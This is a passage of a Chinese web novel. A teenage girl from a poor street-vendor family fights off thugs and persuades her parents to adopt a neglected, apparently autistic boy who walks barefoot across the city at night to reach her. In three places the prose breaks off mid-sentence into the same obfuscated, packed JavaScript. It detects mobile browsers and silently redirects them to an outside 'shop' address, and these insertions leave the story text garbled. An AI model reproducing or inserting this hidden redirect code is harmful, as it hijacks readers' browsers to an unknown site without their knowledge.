李晓言:“就没有什么亲人来问过?” 工作人员苦笑一下:“别说这孩子不正常,就是隔壁那些正常孩子也没亲人来领啊,只能寄希望于收养了,不过收养人几乎都要聪明机灵的,这孩子啊,没人要,命苦。” 李晓言沉默不语,工作人员拍拍她的肩:“我有事先走了,你就多陪他一会儿吧,这孩子自从进来后,只有一个叫刘家豪的小男生来看过他,他虽然不说话,但看得出来那一小会儿他的情绪是安稳的。” 李晓言点点头,等工作人员走了,她就把小棉袄从书包里拿出来,放在许铮的脑袋边上,然后站在原地像棒槌似的杵着,一言不发。 许铮在朦朦胧胧中感觉有人在揉他的脑袋,那人一点也不温柔,下手有些粗暴,隐隐带着怒火,许铮的记忆在顷刻之间云消雾散,重见天光。 他猛地睁开双眼,果然在阴暗的屋中看见一个人的身影,那人背对着他,正在往外走,哪怕看不见正面,只有一个模模糊糊的轮廓,许铮也知道她是谁。 他所有的本能都在顷刻间炸开,连通四肢百骸,这段日子被禁锢在心脏里面的热血霎时传至周身的每一条血管,他这几个月无日无夜的期待,终于在此刻有了个结果。 他知道她会来,哪怕他这几个月里面对的都是苍茫的天空和阴冷的屋子,但他知道,那个人一定会来。 “啊……啊……” 李晓言猛地转过身,看着床上那个小东西在使劲挣脱着绳子,拼命抬头看向她,小嘴张着,艰难的说着话。 “啊……李……晓……李……李……” 李晓言不敢相信自己的耳朵,这孩子啥时候把她名字给记下了,山东大娘说这孩子连声“妈”都不会喊,却记住了她这个只见过几面的邻居姐姐的名字。她突然想起刘家豪的话,这一切真的无法用常理来解释。 被许铮艰难焦灼的喊着,李晓言一半身子想拔腿就跑,另一半身子却像被铁汁子浇在了原地,一步也无法挪动。 她就像闯进了一个古老的城堡中,发现一个躲在这里的钟楼怪人,钟楼怪人热切又痛苦的呼喊着她,她想逃却没法逃,绞痛和震恐像两条洪流,在心里交叉碰撞,滔天巨浪将她淹没其中,没了声息。 李晓言一直觉得,她这辈子总体上算是个心冷的人,唯有的几次情感激荡大部分都是许铮带给她的——在福利院的这次是第一次。 她在黑暗中足足站了一个小时,听着许铮艰难的喊了她一个小时,最后她什么也没说,转过身默默走了。 在她关门的那一刻,许铮的声音也戛然而止,小孩在这个年纪就已经明白,关门意味着什么。 那天晚上,李晓言很晚都没有回家,她找到高凡,两人等饭馆关门后就坐在后门的石梯上,她第一次尝试抽烟,第一次尝试白酒。 只是吸了一口,李晓言就咳个不停,高凡拿过来接着抽,只有一根烟,他在灶台上捡到的,出于好奇心就收起来了,没想到倒让李晓言这丫头给赶上了。 白酒也辣的让人想流泪,但喝下去之后,身子确实要暖和一些,李晓言勉强还能忍受这种辛辣的味道。 李晓言把许铮的事简单讲给高凡听,高凡没有当即发表意见,难得在说话前先过一遍脑子。 从某种意义上,他比李晓言要成熟一些,李晓言只是一只脚踏入社会,而他已经双脚踩进了谋生求食的红尘堆里,他知道这个问题的严重性在哪里。 作为朋友,他很想对李晓言说:你丫傻逼吧,那小傻子关你什么事,你世上可怜孩子多得是,观音菩萨都管不过来,你丫有什么力量去管。 但作为一个热血还没有完全冷却的少年,他又觉得这世上的苦难,能少一点就少一点,要是能搭把手减少一份苦难,这个世界也许会温暖美好一些。 “晓言,这件事最困难的地方是你爸妈,我觉得肯定没戏,虽然你家那个买卖目前看来能谋个温饱,但做生意总是没保障的,而且小铮那孩子不是给两口饭就行的,他那个情况你也知道,不知道要花多少时间和精力,你又要上课,又要帮你家里做买卖,你有多少时间可以拿出来教他。” 高凡叹了叹气,拍了两下李晓言的肩膀:“听哥一句劝,现在光是想想就这么难,真要实行肯定更难,虽然这么说有点没人情味,但我看,还是算了吧,别给自己找麻烦。” 李晓言没有回应,这些道理她何尝不知道,她还能说出更有道理的,但人的理智和情感有时候并不是统一的,理智告诉她要趋利避害,情感却在引诱着她往深渊下跳。 高凡理解不了她情感上的震动,所以只能将她往理智上劝。 李晓言和高凡把那根烟解决后,她便飞速跑回了家,在三岔路口,她爸一个人在那里守摊,摊前有两个歌舞厅的混混,正在和她爸争执着什么。 李晓言走进时,发现一个混混从兜里掏出一把刀,李晓言大叫一声:“爸,小心!” 她爸往后退了两步,从框下摸出棍子,李晓言顺势从地上捡起一块石头,冲其中一个砸了过去。 其中一个混混冲李晓言跑来,手里握着尖刀直直捅向李晓言的腹部,李晓言眼疾手快,迅速躲开那把刀,她眼也没眨就把手里的石头往那混混的脑袋上狠狠砸了上去,混混被砸的头晕,有些踉跄,李晓言抬起脚狠狠踹向了他的裆部,再反扣手腕,把那把刀从混混手里夺出来,又将刀扔进了边上的臭水沟里。 整个动作只有短短几十秒,迅猛利落,被打趴在地的混混完全没想到这个小姑娘居然会拳脚功夫,而且下手真他妈又狠又准,他们也是倒霉,刚从里面出来想干一票,就遇到了这么个女中豪杰。 另一边她爸也把那个混混打趴在地,两个混混相视一眼,赶紧连滚带爬的跑了,走时还不忘威胁一句:“你等到,你们两个龟儿子死定了。” 李晓言爸捡起一块石头就冲两人扔去,两人受了惊吓,跑得更快。 李晓言家除了穷得到传承以外,还有另一个传承三代的家传绝学——战场格斗术。 李晓言的爷爷当过兵,打过仗,在战场上练出了一套野路子格斗术,真要上到擂台上自然是给人当笑话送人头的,但对付这些不入流的小混混那是绰绰有余。 李晓言爸学了个六七成,李晓言自小被她爷爷当男孩训练,也学了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445304|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个六七成,不过被女孩天生的身体结构所限,她的力量始终上不去,因此她爷爷叮嘱过,轻易不要展露拳脚,否则会给自己招惹麻烦。 但好在如今的对手不是战场上那群受过训练的士兵,而是一些只会拿刀唬人,一出手就没个章法的小菜鸟,李晓言父女二人的那点野路子格斗术勉强也够自保了。 “你去哪里了,把你妈担心死了。”李晓言爸边捡散落地上的水果,边呵斥道。 “去看了看许铮,完了又去看看高凡,太久没说话,就一下忘了时间。” 李晓言爸“哦”了一声,好像察觉到什么,他停下手看着李晓言:“你抽烟了?” 李晓言没有否认,只淡淡“嗯”了一声。 “只抽了两口,觉得新鲜。” 李晓言爸真想拿块板砖糊到这混蛋女儿的脑门上,但一想到她刚刚才和自己并肩作战,帮自己打退敌人,又一时不知道怎么开口,自从暑假过后,他觉得这个女儿的气场陡然增加了十丈,连自己在她面前都拿不出个做老子的威严了。 “爸,跟你说件事。” “嗯,什么事,你说。” 李晓言没有抬头,轻描淡写的说道:“我们能收养许铮吗,我想认他做弟弟。” 李晓言爸愣了两秒,以为自己听错了。 “你说什么?收养谁?” 李晓言抬头看着他,一字一句回道:“许铮,就是他妈被他爷爷杀了的那个孩子,你忘了?” 李晓言爸:“我他妈忘什么了,老子是没听懂你的意思!收养他!我看你是疯求了,你也不看看我们家什么状况,何况那娃娃还是个傻子,你有本事养他?真不知道你是怎么想的。” 李晓言:“你就当养条猫狗,给他两口饭,行不?” 李晓言爸气不打一处来,狠狠瞥了她两眼,把筐背在背上往家去了,李晓言默不作声,也背起框跟在后面。一到家,她妈就从房间里冲了出来,又把李晓言训斥了一顿,李晓言爸没有说许铮的事,只说遇到混混所以收摊回来了,李晓言一时半会儿没了主意,不知道怎么开口。 她第一次意识到,要是自己能赚钱,能撑起自己的一片天,情形或许就不会这么举步维艰了。 这种对外界环境的疲惫,对自己无能的愤怒,对上天命运的仇恨,贯穿了李晓言整个青春期。 她没有洗刷,就径直回床上躺着了,睁着眼熬到了半夜。 外面下起了淅淅沥沥的小雨,打到房瓦上,闹得人更加心烦意乱,西南地区特有的湿冷钻进被子里,李晓言躺了三个小时全身上下还是冰的。 隔壁屋里,她爸妈絮絮叨叨在说着什么,李晓言知道应该是跟许铮有关,她已经对这件事不抱指望了,毕竟她妈是出了名的铁公鸡,买根葱都要讲半天价,更何况要拿出粮食养个绝对没有半点回报的傻孩子。 这件事上,好像的确是自己太过天真了。 …… 但事情的发生永远都是出乎意料的,人们总想用逻辑解释一切,用逻辑框定一切,而重要的转折点却常常超出人类自以为是的逻辑。 命运接收到李晓言的挑战书,似乎是为了宣告这场挑战的开场,他给李晓言送了份大礼。 当天夜里快四点的时候,李晓言家的门被人拍响了,那拍门声很轻,有一下没一下的,李晓言和她爸以为是混混上门寻仇了,都从房间里出来,手里拿着铁棍走到门口。 “是谁?” 门外没有声响,还是断断续续,微微弱弱的拍门声。 “你是哪个,快说,不说不开门。” 门外还是没有声响,那人依然轻轻拍着门,越拍越轻,有气无力。 两边足足坚持了十几分钟,李晓言才决定开门看看,她刚开一个小细缝,从小细缝里瞅了一眼外面,就瞬间像个冰柱子似的从头到脚凉了个彻底。 她打开门,只穿了一件单薄小背心的许铮一头栽到了她的脚上,剧烈的喘/息着。 李晓言僵立片刻,慢慢蹲下身,连手里的铁棍都忘了扔。 她低头看着许铮,喉咙发紧,心里面只有一个念头:无论发生什么事,这孩子她算是管定了。 12. 第 12 章 从福利院走回棚户区,几乎要对穿全城,中间七弯八拐,有无人的公路,也有乱七八糟的小巷,李晓言跑着去也要一个多小时,她不知道许铮到底是怎么找回来的。 在大冬天的夜里,这小崽子连双鞋也没穿,就这么光着脚寻路回来了。 李晓言一家人除了震惊,就是心疼。 他们是无时无刻不在面对生活压力的穷人,但也是内心良善的好人,生活压力磨硬了他们的性子,但原始的柔软和义气却从来没有泯灭过。 李晓言妈关了门,轻轻掴了许铮的后背一下:“你这娃胆子也太肥了。” 李晓言爸:“我看他是偷跑回来的,现在都深更半夜了,明天再说吧,先给他洗洗。” 李晓言妈赶紧去烧水,李晓言把许铮抱起来,许铮口齿不清的念叨着:“李……李……李……” 他像个讨人嫌的复读机,口齿不清的重复着这一个字,李晓言的同情心还没落下,不耐烦的火气又陡然升起。 “傻子,是李晓言,麻烦你说话说完整,听得我难受。” 许铮听到了熟悉的骂声,心里暖暖的。少女进入变声期,声音开始有了些微的变化,许铮很敏锐的发现了这个变化,他虽然表达不出,但心里觉得很是神奇,怎么这个人的声音开始变了呢? 不仅声音变了,半年没见,李晓言脸上的轮廓也发生了些微的变化,稚气蜕了一层,棱角更加秀丽,再配合上她那从一而终的淡漠冷艳气,这个人,似乎更加让人挪不开眼了。 李晓言把小铮扔到热水里,李晓言妈也想帮着一起洗,谁知道她拿着湿漉漉的帕子刚刚碰到小铮的身子,小崽子就瑟缩着往李晓言那边躲。 李晓言妈傻眼了,她第一次被人这样嫌弃,便把帕子扔给李晓言:“嘿,跟条小狗似的,还认主人。” 她笑骂着去给许铮找衣服,许铮手臂和大腿的伤痕她看得有些心惊,但她不知道是许铮自残弄的,还以为是在福利院受了虐待,或者被其他小孩给抓伤的。 到底是母子连心,她突然有些明白李晓言为什么想收养这个傻子了。 她从来没听这孩子说过话,没想到今天却听他说了个“李”字,如果老天爷真有安排,大概这两个孩子在冥冥中真有什么缘分吧。 热水烫暖了许铮的身子,李晓言妈找出一套颜色极其不搭调的毛衣棉裤,把许铮给严严实实包起来。屋里只有两个房间两张床,许铮只能跟着李晓言睡,李晓言把他塞进被子里,被子的凉气让许铮哆嗦了几下,李晓言见他发抖,便侧转身子,像抱一只小猫一样把他抱进怀里,弓背曲腿,用自己的身子给小崽子做了一个窝。 其实李晓言的身子也没暖和到哪里去,但许铮还是很给面子的安生了,没有再哆嗦。他把头贴在了李晓言的心口上,心满意足的睡着了。 他走了将近三个小时,才穿越黑黢黢冷冰冰的小城,回到这个人的身边,他实在是太累了,也实在是太满足了,所以没过多久,就沉入了梦乡。 在梦里,他看见李晓言对他关上了门,以前他妈把他绑在灶间的时候也常常对他关门,关门对他来说意味着那个人有事,一会儿来接他。 所以许铮没有吭声,他一直等啊等,在暗夜里看着天花板默默等待着,可是没有等来李晓言,等来的却是强行喂他吃饭的工作人员。 有些火,一直点不燃那也就罢了,但长达半年的等待,那团火终于点燃了,许铮不能忍受它再次熄灭,那对于他来说意味着人生的毁灭与倾覆。 所以当天晚上他做了一个大胆的决定,既然那个人不来,那他就回去找她。 他脑子里有一幅路线图,被福利院接来的那天他就趴在窗户上看外面的路线,那个时候他还不知道有什么用,本能就已经帮他记住了,回来的时候因为夜里黑,他费了点功夫才辨识出跟他记忆吻合的路标,但终归没有找错路。 李晓言一直看着熟睡的许铮,百思不得其解,她不知道这傻逼孩子是怎么从福利院跑出来的,又是怎么找到回棚户区的路的。这一路上有野狗,有混混,有流浪汉,有人贩子……这孩子居然完美的躲过了这一切,看来他就算生了一条贱命,也是一条安装了盔甲的贱命,没那么容易歇菜。 李晓言他们一家三口都是整晚未睡,到早上起来的时候,李晓言把许铮弄醒,四个人围着桌子默默喝粥。 李晓言把许铮抱在大腿上,还是像上次一样边教边喂,许铮就像干瘪的八爪鱼泡足了水,变得异常活跃。 他吃一口说一句,说的人头疼。 “李……” “闭嘴!”李晓言脑袋顶上已经开始冒烟花了。 “李……” “张嘴吃饭。”李晓言被这个无限复读机弄得从头疼到牙疼,从牙疼到胃疼,现在连脚趾头都开始疼了。 她爸妈倒觉得有点好笑,她妈安慰她:“你往好的方面想,这孩子居然开口说话了,这就说明他有进步了。” 李晓言:“他要是只打算进这一步,这辈子只会无限重复这个李字,还不如不说话呢,当个哑巴也不会像现在这样招人烦。” 她虽然这么说着骂着,但还是皱着眉,怒火冲天的把一小碗粥给许铮喂完了,喂完粥,她重重吐了口气。 李晓言爸:“晓言,一会儿你送他回福利院。” 李晓言一愣:“爸……” 李晓言爸瞥了她一眼:“老子让你送他回去,问问收养条件,这孩子的爷爷也不知道判的是死刑还是无期,要是他爷爷没死,那收养又要怎么弄。” 这惊喜来的有点大,李晓言一时没回过神来。 “你们怎么就……同意了?” 李晓言妈:“我们也是怕遭天打雷劈的,这傻孩子居然能自己找回来,肯定是天老爷帮的忙,我们要不收养他,估计天老爷也不会放过我们。就当养只猫狗吧,不过我可告诉你,猫抓耗子狗看家,多少也要发挥点作用,你最好教会这孩子干点家务,抵消一下伙食费。” 李晓言一下就乐了,这是她第一次觉得,原来封建迷信也挺好的,她讲一百句道理也抵不上“老天爷”的一点暗示。 吃完饭,李晓言领着许铮回福利院,许铮认出了路,走半道上就一屁股蹲地不走了,李晓言二话没说,直接用暴力把许铮搂起来往前走。她突然发现,这半年不仅她长个了,这个小崽子也长高了一头,搂在手里的分量也足了许多。 福利院的工作人员听完李晓言的讲述很吃惊,许铮是昨晚趁所有人睡着时跑的,他自从李晓言离开后,表现绝佳,又乖又听话,做出一副人畜无害的可怜样。他原本就长得好,院长都觉得这么多年没见过长得这么好的,见他那副可怜巴巴的小模样,就把他的绳子都给撤了,结果倒好,这小傻子给他们来了出明修栈道、暗度陈仓的好计。 连他们都不确定,这孩子到底是真傻还是装的。 本来收养的条件很苛刻,手续也十分麻烦,但许铮的爷爷并没有被判死刑,所以问题也变得简单了许多。 只要许铮爷爷同意,鉴于许铮这种复杂特殊的情况,公安局和福利院都愿意协助办理这些繁复的手续。 所以没过多久,收养许铮这件事就尘埃落地了。他的户口还是跟着他爷爷,没有改姓,依然姓许,李晓言见到户口本的时候才知道这孩子已经五岁多,快到上小学的年纪了。 这个冬天,许铮过了他人生中第一个暖冬,李晓言也过了她人生中第一个猪狗不如的新年。 新年是很多家庭阖家团圆的日子,许多在大城市打工的人要回家探亲,李晓言爸就从里面看出了商机。这半年多来,除开吃的用的,他们一共赚了两千多,李晓言妈原本想着过年不摆摊,买点东西回老家过年,但李晓言爸去溜达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445305|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时发现那些高档水果店开始卖箱货了,就是把某种水果装进一个好看的箱子里,上下两层,进价便宜的十几块,贵的七八十块,但卖出去一箱,净利润最少也有十块钱。 这些箱货是专门为这些过年回家探亲的人准备的,但凡有顾客,店里的人都会拼命推销这些箱货,而且效果还挺好。毕竟这个时候是大家兜里最富足的时候,也是最不计较划算不划算,只要面子好看的时候。 这可把李晓言爸羡慕坏了,他们卖散货的毛利很少,顾客也买的少,要一次性赚十来块并不容易,所以他当机立断,这个年不能回家过,全家要守在三岔路口卖箱货。 这个决定又让李晓言妈心里直打鼓,卖箱货是好,但风险也高。因为水果批发市场不会几箱几箱的批发,起步就是五十箱,李晓言家没有铺面,要想在路口抢生意,必须得有排面,所以差不多要有一百箱的准备,而且这一百箱也不能都是低档水果,还得中低档掺和着来,最好也有几箱高档的压场子,这么一算,恐怕要拿出两千块才行,这可是一家人辛苦半年多赚来的,李晓言妈不敢一下子全砸进去。 “我看还是别冒险了,就像之前一样也不错啊,一家人能有碗粥喝也行了。” 李晓言爸:“少废话,让你拿钱就拿钱,女人就是没用,平时吼的凶,真到关键时候比谁都胆小。” 李晓言妈吼道:“你胆子大那你一个人去,亏得倾家荡产的时候我看你是不是准备上街要饭。” 李晓言预感着两人又要开火,这半年多她爸妈三天一小吵,五天一大吵,她已经习惯了。做生意不稳定,今天生意好,明天生意差,还时不时和一些顾客闹口角,这些都是正常的,但对于这两个火/药/桶来说,这些不稳定也让他们的脾气变得越来越差。 李晓言急忙打住:“妈,我看行,可以试试。如果这个年我们赌成功了,明年一开年,我们就可以租下一间铺面了。” 李晓言爸妈愣了一瞬,被李晓言这句话瞬间浇灭了火焰。 在此之前,李晓言爸只觉得这个商机值得一试,李晓言妈只在乎卖不出去得亏多少,两人都从来没想过要租下一间铺面。一间城里的铺面对他们这两个从乡下来城里讨生活的社会最底层来说,是连想都不敢想的空中楼阁。 “租铺面,别做白日梦了,你知道多贵吗?” 李晓言笑了笑:“打听过,这附近好的铺面一年五千多,次一点的三千多,要是跟房东砍砍价,没准儿还能少点。” 李晓言爸妈这才发现这丫头原来是有备而来,不是信口开河溜火车玩。 李晓言继续说道:“我有个主意,我们还是先拿个五十箱,五十箱分成七列,每列只放七箱,但我们在每一列下面摞一些空框纸盒,然后用散货挡住这些空框纸盒,这样从远处看,我们的货看上去也很多,排面也大。” 李晓言爸妈瞬间懵住,他们也算是在社会这个油锅里炸了好几遍的油条,但他们忽然发现,混社会这件事,多少还是要看天分。有些人,真的是天生就比别人奸猾一些。 李晓言发完言,她爸妈也就无话可讲了,他们不约而同在心里暗想,幸亏这孩子走的是正道,要是她走的是邪道,现在估计能当个混混头子。毕竟除了脑子,她还有几招三脚猫功夫,这样的装备对当个小地方的混混头子来说,已经是顶级配置了。 上午商量完,李晓言爸下午就去水果市场拿货,为了省车钱,他和李晓言又去老乡那里借了两辆人力三轮车,父女两人一人踩着一辆吱吱呀呀的三轮车,钻进了鸡飞狗跳的水果市场。 同去的还有许铮,他坐在三轮车的货板上,看着李晓言踩车奔驰的背影,觉得他姐简直是要去征战沙场的将军,威风的不得了,而不是去讨生活的小贩。在许铮自己建构的世界里面,他自己的逻辑便是世界的逻辑,至于世界的真相是什么,他是不管的。 13. 第 13 章 那时候的货源不足,要买到价格合适质量又好的货,各路人马需要抢,一辆大货车运过来,批发老板一报价,各路人马就蜂拥而上抢个热火朝天。 李晓言眼明手快,一手按住车沿,借力翻身上车,她在车上占好一个角落,然后抱起箱子就往下扔,她爸在下面接着,转身放进了三轮车货板上。父女二人配合默契,以最快的速度抢到了五十箱货,然后李晓言跳下货车,和她爸一块儿去结账。 办好货后,李晓言把小铮放在了水果箱上,然后和她爸踩着车往家去,他们来的时候天还是白的,这会儿已经阴暗灰蒙了许多,做工的人在大街上奔驰着,宛若百鸟归巢。 街边卖夜宵的面摊也陆续支起来了,李晓言爸看着那些热气腾腾的骨头汤,有点馋,便回头对李晓言说:“闺女,我们吃碗面再回去。” 两人停下车,李晓言把许铮抱起来放在地上,十分认真的对他说:“以后你要学会自己下车,懂吗?” 李晓言刻意压低了声音,面色严肃,许铮一脸懵懂的看着她,双眼亮晶晶的。李晓言心里叹口气,无奈的拉着许铮的小手往面摊去了。 这些面摊的汤底是熬了一夜的猪骨汤,看上去雪白,喝起来很香,再配上红油辣椒腌制的鸡片,是当地人最大的享受之一。 当然价格也不便宜,李晓言妈一般不舍得吃,李晓言对吃的不挑剔,吃不吃都无所谓,就是李晓言爸偶尔会偷摸出来吃一顿,打打牙祭。 他叫了三碗面,还有十片红油鸡片,面端过来时,她爸率先开吃,呼哧呼哧的喝汤,吸溜着面条。 李晓言把筷子放到许铮手里,然后没搭理他,只顾吃着自己碗里的面条,许铮看了李晓言一眼,又看了碗里的面条一眼,那面条的香味勾得他直流口水,他知道他的晓言姐姐应该没有耐心再教他用筷子了,便尝试着转动手里的筷子,伸进碗里夹面条。 他一旦开始做这件事,便完全沉浸在这件事里面,都不知道李晓言斜着眼睛在偷偷看他。看着他艰难的夹起一根面条,面条滑落下去,他又尝试着夹起第二根。 李晓言爸:“面都坨了,你还是喂他吧。” 李晓言:“你别管,我今天就跟他耗上了,我就不相信他连一根都夹不起来。” 李晓言爸吃完面,付完钱先走了,只剩李晓言和许铮。李晓言连汤带面吃了个精光,许铮还在跟他的第一根面条较劲,有两次他差点成功了,结果面到嘴边又滑了下去,他没有向李晓言求助的意思,李晓言觉得这孩子有点死心眼,一旦跟某件事卯上,好像就要跟这件事纠结到天荒地老。 李晓言伸手去抓紧许铮握筷子的手,许铮抬头看她,李晓言的怒火在眉心处熊熊燃烧。 “真没用,过来,姐喂你。” 但是许铮没动,他呆呆地看着李晓言,脑袋在迅速分析着李晓言所传达的讯息。他理解不了李晓言的话,但他能从李晓言的表情中看出:他姐怒了。 李晓言想伸手抱他,许铮忽然打开了李晓言的手,面摊的水汽在二人中间弥散,昏黄的灯光下看不真切,但李晓言觉得,许铮正在用看待阶级敌人的目光盯着她。 李晓言把手缩回来,交叉着抱在胸前,居高临下的藐视着许铮。 许铮呆看了她几秒,便埋头继续纠结那根面条,周围的客人换了一拨又一拨,这二人还在暗暗较着劲,李晓言没说过一句话,一直看着许铮碗里的面条变成一坨凝固的面团,看着他把这个动作前后重复了五六十次,最后许铮忍不住要开始暴躁叫喊时,李晓言一把将许铮拉起来拽着衣领,然后扬长走了。 面摊老板止不住摇头叹息:“什么狗屁姐姐,真黑心,肯定是害怕她弟弟以后分家产。” 李晓言耳根发烫,以为是许铮在心里面骂她,便粗暴的把小崽子扔在水果箱上,而后踩着三轮车在黑夜中左突右进,像要穿透夜色的流星一般,踏着灯光回家了。 当天晚上,李晓言倒床就睡,而许铮因为肚子饿,左右翻转了好几遍也睡不着,他想叫喊,但看着李晓言安静平和的睡脸,又本能的觉着自己不能叫喊。李晓言在白天总是皱着眉,神色清冷锐利,只有在这个时候,她的眉头是舒展的,精神能得到片刻的放松,小铮还不知道这世上的规矩,但他已经从这些神色变化上知道他姐只有在夜里的几个小时能得安然。 他缩进了李晓言的怀里,像条小狗一样蜷缩着,李晓言的身子很暖和,散发着热气,许铮的饥饿感也渐渐消了,他满足的躲在他的小窝里,渐渐沉入了梦乡。 在梦里,他梦见自己尿床了。 然后,他就真的尿床了。 第二天清晨,把李晓言全家叫醒的不是鸡叫、不是闹铃、更不是劳什子梦想,而是李晓言同学的暴吼声,她好似把全身的力量都集中在了喉头上,一嗓子叫出来,连瓦片都在簌簌抖灰。 李晓言爸妈看见床单上一滩水印,一时间连该笑还是该骂都分不清先后次序。 李晓言妈:“正常的,小孩都这样,你那会儿也这样。” 李晓言爸:“吼什么吼,你自己要领养的,你就要负责,你今天把床单洗了再出来摆摊。” 两人笑着走了,李晓言握紧拳头盯着那摊糟心刺眼的水印,许铮坐在床脚边上,好像庙里的小佛像,呆萌的盯着李晓言看,一脸无辜又微显惶恐的神情。 李晓言闭着眼深深深深呼吸一口。 “滚开!”她把小崽子抱起来扔到地上,然后暴躁的卷起床单去水池边,把床单扔进了一个大盆里。 冬天的水太凉,李晓言来不及烧热水,只能在冰寒刺骨的凉水中使劲搓揉那个水印处,然后马马虎虎洗了一下别的地方,拧干后就将它挂在了那棵歪脖子树上。 此时是凌晨六点,棚户区里绝大多数都回家过年了,还剩一小部分人没有回家过年的仍在梦乡。李晓言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445306|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老觉得那些人不是什么正经人,她以她扭曲的三观揣度着别人,觉得有些是犯了事外逃的,有些是瘾君子,有些没准儿是人贩子……总之,在她这些暗黑的揣测之中,这些人绝大多数都不是好人,所以她不放心把许铮一个人放在家,她家那破烂的门锁很容易就被撬开,要是许铮突然叫嚷起来,也许会被坏人给发现。 李晓言思前想后,还是迅速给小铮换上了干净的裤子,然后带着他去三岔路口。 三岔路口果然有许多归家的行人,客流量大了许多,李晓言爸妈已经把摊子给支起来了,远远看去颇能入眼,那对“歪瓜”和“裂枣”夫妇并没有现身,想必也跟着回家过年了,没想过要做过年的生意。 李晓言爸妈一人守着一边,像两尊风中的石像,一动不动的蜷缩着看着大街,等鱼上钩。 李晓言看着他们的背影忽然有些心疼,她只盼着自己将来能挣很多钱,可以让她的爸妈在这天寒地冻的日子里窝在家里看电视,嗑瓜子,烤火炉。而不是在大街上吹着寒风等买卖。 小铮的肚子咕咕叫唤了两声,李晓言妈赶紧塞给晓言一块钱,让她去买几个馒头填肚子。大街上冷冷清清的,连平日里卖稀饭馒头的店也一连排全都关了,李晓言牵着小铮走了两条街,才找到一家卖馒头的,她给小铮买一个,自己买一个,然后蹲在地上,在小铮面前一口一口咬着手上的馒头。 许铮的脑袋左右晃动,他有些焦虑不安,脑袋里的信息处理器好像突然短路了一样,他无法处理李晓言传达给他的讯号。 李晓言是吃了秤砣铁了心,她不顾许铮的焦虑,一点也不温柔的握住了许铮的下颌,将他的脸掰到正中间定住,然后在他眼前继续咬着馒头。 许铮使劲挣脱,却发现自己完全无力挣开李晓言的手掌,他只能这么眼睁睁的看着,看着李晓言神情冷峻的吞着馒头,好像她手里的馒头是个过期馒头,她是忍着呕吐给吞下的。 李晓言的心比绝大多数人冷,更比许铮的妈要冷得多,只是短短两天的相处,她就完全体会了许铮妈的心情,但她还是决定用她的方式来解决这个问题。既然这孩子的身体零件没问题,她就不相信还教不会他吃饭上厕所了。 李晓言的手暴露在寒风里,很快就冰了,许铮也感觉到从下巴到脖颈的一片凉意,他想往后退,却被李晓言钳住,后退不得。 李晓言把最后一口馒头送到嘴里时,许铮终于有了一点动静,他抬起拿馒头的手,但是没有送进嘴里,而是狠狠的把馒头砸到了李晓言脸上,馒头滚落在地,沾了许多灰。许铮的神情也透着几分凉意,好像要把自己沉回一个深潭里,正在慢慢下潜。 李晓言放开了许铮,她捡起地上的那个馒头,拍一拍,直接塞进了自己的裤兜里,然后拉着许铮的衣领走回水果摊。姐弟二人一路无言,但李晓言那张鬼见愁的脸还是让街上的人纷纷侧目,不知道这姐弟俩发生了什么。 14. 第 14 章 水果摊前已经站了三四个顾客,李晓言爸妈一人对付一个,忙不过来,李晓言赶紧过去招呼着其他两个顾客,和他们介绍箱货,一毛一毛的讲着价。讲价这事也有许多门道,如果有好几个客人在场,那就说一个最低价,不能再讲,如果是一个接一个来的,那就看人下菜碟,而且不能看穿戴,得在对话中分析这人能接受的价位,争取着多赚一毛是一毛。 这个时期的生意几乎都是一锤子买卖,再见得是明年,所以李晓言家本着商人把利益当信仰的原则,从早上五点多摆摊一直到晚上十二点收摊,中间就用馒头和咸菜对付着,熬过了一整天。 到了晚上,许铮终于吃饭了。这一整天不仅是早饭,还有中饭和晚饭,李晓言也没有喂他,也不让她爸妈喂他,许铮饿得胃反酸水,他脑子里的那根线终于在饥寒交迫中接通了,晚上到了家,他那双水汪汪的眼睛一直盯着李晓言,李晓言把裤兜里的馒头拿出来,拔掉表面上那层皮,然后用锅给蒸热了。 她爸妈不想管这别扭的姐弟俩,就先去睡了。李晓言抬了两个小凳子放在火炉前,她和许铮紧挨着坐在火炉前取暖,等馒头蒸热了,李晓言把馒头拿出来吹气,等馒头稍微凉了些才递给许铮。 她摸了摸小铮的脑袋,语重心长的说道:“小铮,你必须学会吃饭,学会上厕所,学会生存,不然以后姐不在了,谁来照顾你,啊?!而且你个傻逼孩子,你知道赚钱多难吗,你居然敢把这馒头扔了,你下次再敢扔馒头,我就揍你,知道了吗!” 许铮在这些神奇的语言符号里面,只抓住了两个熟悉的字眼——傻逼。这是李晓言常常挂在嘴里的话,他不知道这两个字是只对他说,还是对所有人都这么说,但他觉得也许他姐是喜欢这两个字吧,所以才经常说。 